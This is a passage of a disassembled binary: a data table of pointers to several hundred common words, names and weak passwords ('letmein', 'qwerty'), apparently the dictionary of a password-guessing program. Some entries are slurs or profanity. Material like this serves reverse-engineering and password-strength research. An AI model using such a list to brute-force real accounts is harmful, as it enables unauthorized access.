		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
